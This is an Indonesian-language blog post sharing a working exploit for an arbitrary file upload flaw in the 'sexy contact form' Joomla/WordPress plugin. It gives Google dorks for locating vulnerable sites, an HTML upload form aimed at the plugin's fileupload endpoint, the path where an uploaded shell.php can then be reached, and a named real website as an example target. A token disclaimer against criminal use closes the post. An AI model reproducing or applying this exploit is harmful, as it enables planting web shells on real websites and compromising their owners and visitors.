Sunday, October 26, 2014

Joomla com_sexycontactform Arbitrary File Upload Vulnerability

assalamualaikum warahmatullahi wabarakatuh

malam ini orang paling ganteng sedunia akan share exploit yang baru2 ini ngetren karna ke seksi an ny :p, ( hanya bercanda :D ).
tanpa banyak bacot saya akan share nih exploit :p


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
############################################################################
 
# Title : Joomla com_sexycontactform Arbitrary File Upload
  
# Author : jinja a.k.a mukrim-shine
  
# Date : 25 October 2014
 
# Facebook : http://www.facebook.com/x.jinja
  
# Category : Web Applications
 
# Greetz : SultanHaikal | Netter | Pod0lz007 | ViruzTomcat | Haji Pahonah | JemsX | Index Php | DevilScreaM
  
# Vulnerabillity : Arbitrary File Upload
 
#      
Dork google wordpress:  inurl:inurl:sexy-contact-form
# Dork google joomla   :  inurl:com_creativecontactform
 
 
############################################################################
 
 
Bug Location : components/com_sexycontactform/fileupload/index.php
 
Exploit/Code :
 
<form method="POST" action="http://target.com/components/com_sexycontactform/fileupload/index.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>
 
Then the file is accessible under
  
http://TARGET/components/com_sexycontactform/fileupload/files/shell.php
 
Example :
 
http://vacationsforheroes.com/components/com_sexycontactform/fileupload/index.php

0 komentar:

Post a Comment

I just a newbie and student, don't using this article for criminal